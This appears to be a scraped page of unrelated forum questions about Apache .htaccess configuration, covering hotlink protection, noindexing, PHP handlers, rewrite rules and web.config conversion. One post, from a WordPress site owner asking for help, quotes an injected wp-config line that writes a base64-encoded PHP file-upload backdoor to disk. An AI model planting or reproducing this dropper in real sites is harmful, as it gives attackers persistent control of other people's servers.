.htaccess allowing google, bing, yahoo, facebook

Can anyone create a .htaccess hotlinking rule for me allowing google all domains (.com, co.uk, co.in, .au etc.) + bing.com + yahoo.com + facebook.com

Please i request you i’m completely noob in programming. I could have done it using any online hotlink htaccess generator but in that case i have to individually add all google domains which is very time consuming. If there is any way rule in which any domain containing .google. are allowed to hotlinking please tell me.

Note: Please its urgent for me because many image scraper sites targeting my images

Analysis – Help with HTaccess (noindexing PDF Files) [on hold]

I am trying to analyse a htaccess. Considering I work in digital marketing, I understand 5% of all those rules and codes.

I would like a hand on everything but what I am most puzzled about is why the code is not enough to noindex the PDF files. There is a specific piece of code about it but I am wondering whether it conflicts with something else.

Thank you Fabrizio

Multi php version using AddHandler via htaccess

I’m using AWS ubuntu instance with webmin installed. Some of my old projects (joomla 2.5) support upto php5.6 only so I have installed php 5.6 by following https://vitux.com/how-to-install-php5-and-php7-on-ubuntu-18-04-lts/

As follows, I disabled the 7.2 and enable 5.6

$   sudo a2dismod php7.2 $   sudo a2enmod php5.6 

Now my old project working fine. but my problem is i have some project wich required php7.x so I have created a .htaccess file and and added

AddHandler application/x-httpd-php71 .php 

but it’s not working as I expected. (I confirmed, Allowoveride Set All and htaccess working fine)

I’m sure I’m missing something inorder to get AddHandler working.

htaccess and wordpress config files are regularly over written

I have a WordPress site (v5.2.3), and every now and again (possibly monthly) the wp-config.php and .htaccess files are over written with bad information.

This results in two problems – first the DB access details in wp-config are changed to something don’t work, and then the ability to access my post-link permalinks are lost as a result of information being lost from htaccess.

After being overwritten, my wp-config file is full of lines like this:

file_put_contents("wp-remote-upload.php", base64_decode('PD9waHANCmVjaG8gIlRoaXMgc2hpdCB3b3JrcyEiOw0KaWYgKGlzc2V0KCRfRklMRVNbImZpbGVuYW1lIl0pKQ0Kew0KICAgaWYoJF9GSUxFU1siZmlsZW5hbWUiXVsic2l6ZSJdID4gMTAyNCozKjEwMjQpDQogICB7DQogICAgIGVjaG8gKCJGaWxlIHRvbyBsYXJnZSAobW9yZSB0aGFuIDNNYikiKTsNCiAgICAgZXhpdDsNCiAgIH0NCiAgIGlmKGlzX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1siZmlsZW5hbWUiXVsidG1wX25hbWUiXSkpDQogICB7DQogICAgIG1vdmVfdXBsb2FkZWRfZmlsZSgkX0ZJTEVTWyJmaWxlbmFtZSJdWyJ0bXBfbmFtZSJdLCAkX0ZJTEVTWyJmaWxlbmFtZSJdWyJuYW1lIl0pOw0KCSBlY2hvICgiPGJyPkRvbmUhPGJyPiIpOw0KICAgfSBlbHNlIHsNCiAgICAgIGVjaG8oIjxicj5FcnJvciEgIi4kcGhwX2Vycm9ybXNnLiI8YnI+Iik7DQogICB9DQp9DQo/Pg==')); 

My wp-config file has so many of these lines that it is about 800Kb in size.

The plugins I am using on my WordPress site are as follows:

  • Akismet Anti-Spam [v4.0.1 by Automattic]
  • Contact Form 7 [v4.9.2 by Takayuki Miyoshi]
  • Duplicator [v1.2.3 by Snap Creek]
  • Google Analytics for WordPress [v7.7.1 by MonsterInsights]
  • Hello Dolly [v1.6 by Matt Mullenweg]
  • Limit Login Attempts [v1.7.1 by Johan Eenfeldt]
  • Logo Slider [v1.4.7 by EnigmaWeb]
  • Recent Posts Widget Extended [v0.9.9.7 by Satrya]
  • Squelch Tabs and Accordions Shortcodes [v0.4.1 by Matt Lowe]
  • WordPress Importer [v0.6.3 by wordpressdotorg]
  • Yoast SEO [v5.9.1 by Team Yoast]

Using my FTP program I have tried changing the permissions to the wp-config.php and .htaccess files so they cannot be written to – however my attempts to change these values have resulted in no changes. I am assuming I do not have the ability to change file permissions.

How do I stop these files from being over written?

Or how I can discover what is responsible for changing these files?

Setting custom search engine indexing for a “dynamic wordpress page” with htaccess

I am searching for hours but didnt found the code for my requirement, Can my requirement be done with htaccess?

Requirement – These urls of a page should be indexed by Google:

  1. example.com/example-page
  2. example.com/example-page?para_a=1&para_b=1
  3. example.com/example-page?para_a=2&para_b=2

Requirement – But this page with all other parameters in url should NOT be indexed by Google.

I found these code parts:

<If "%{QUERY_STRING} =~ /foo=bar/"> ... </If> 


<If "req('Host') != 'www.wooga.com'"> ... </If> 


<Directory /var/www/html/> ... </Directory> 


Header set X-Robots-Tag "noindex" 

I have no idea which combination of code will work for me. Please tell me if anyone knows. Thanks.

How to convert a .htaccess to web.config?

I moved the website from Linux hosting to Godaddy Windows hosting with PLESK. There is no IIS converter. Can’t find any up to date info how to convert .htaccess to web.config. Even tried to use online converter but it doesn’ work. Error:500. Anyone can help ?

RewriteEngine On RewriteBase /  Options -MultiViews  RewriteCond %{HTTP_HOST} ^domain.com [NC] RewriteRule ^(.*)$   h t t p://www.domain.com/$  1 [R=301,L]  RewriteRule ^company/about/?$   about.php [L] RewriteRule ^services/?$   services.php [L] RewriteRule ^client/testimonials/?$   testimonials.php [L] RewriteRule ^contact/?$   contact.php [L] RewriteRule ^gallery/?$   gallery.php [L] RewriteRule ^gallery/photos-([a-zA-Z-_0-9]+)/?$   gallery-photos.php?category=$  1 

How to configure .htaccess to rewrite all requests into a folder, except a list of exceptions

I have an established website with some legacy folders I would like to keep.

  • https://example.com/.well-known/
  • https://example.com/Music/
  • https://example.com/Rutabagas/

I’ve also installed WordPress. Because there’s an automated update/backup system, I chose to put WordPress into a folder. This way, the WordPress management system won’t see my legacy folders as part of WordPress and wipe them out next time there’s an upgrade.

  • https://example.com/WordPress/

I would like for when anyone visits https://example.com/ to see the WordPress site, without the /WordPress/ part of the URL. No problem, Google has several results on how to do this, except, I still want my list of legacy folders to keep working and the answers I can find only work to redirect everything.

Is there a way to configure .htaccess to rewrite everything into the WordPress folder including /, but not my three or four legacy folders and everything inside, which I want the server to continue handling as normal?

Problema con htaccess al redirigir www y https en .com.mx

Hola tengo un dominio con .com.mx el cual quiero sea siempre dirigido con https y www pero al parecer el siguiente código no esta funcionando.

RewriteEngine on  RewriteCond %{HTTP_HOST} !^www\. [NC] RewriteCond %{HTTP_HOST} ^(?:www\.)?(.+)$   [NC] RewriteRule ^ https://www.%1%{REQUEST_URI} [L,NE,R=301]  RewriteCond %{HTTPS} !on RewriteRule (.*) https://%{HTTP_HOST}%{REQUEST_URI} [R=301,L]  

Ese código previamente lo he usado en .com

¿Acaso hay algo distinto cuando es .com.mx?

El error que me marca es el 403

Security issue with .htaccess with dynamic http_host redirect?

I would like to know if it would be an issue to use this code in a production environment:

RewriteCond %{HTTP_HOST} ^(?:www\.)?([a-zA-Z0-9_-]+)\.(?:com|co\.uk|es|de)$   RewriteCond $  1 ^sitemap([0-9]+)?\.xml(\.gz)?$   RewriteRule ^(.*)$   /files/%{HTTP_HOST}/$  1 [L,QSA] 

Basically, I have hundreds of domains pointing to the same home directory on a server. I would like to move all the sitemaps for each site to a different folder (so example1.com can not access example2.com’s sitemap!)

First of all, I can not hard-code all the domains in a “white-list” as we are talking about hundreds of them and adding more weekly.

The plan is to basically redirect any requests for sitemap.xml/sitemap2.xml/sitemap.xml.gz to the domains’ folder.

So for instance:

example1.com will have it's real sitemap.xml file in /files/example1.com/sitemap.xml example2.com will have it's real sitemap.xml file in /files/example2.com/sitemap.xml 

My question, is if it is a possible issue to use HTTP_HOST in a RewriteRule, as I know that it can indeed be an issue if you do not filter it in PHP for example, if you do a redirect using HTTP_HOST as the user can manipulate it.

Thank you!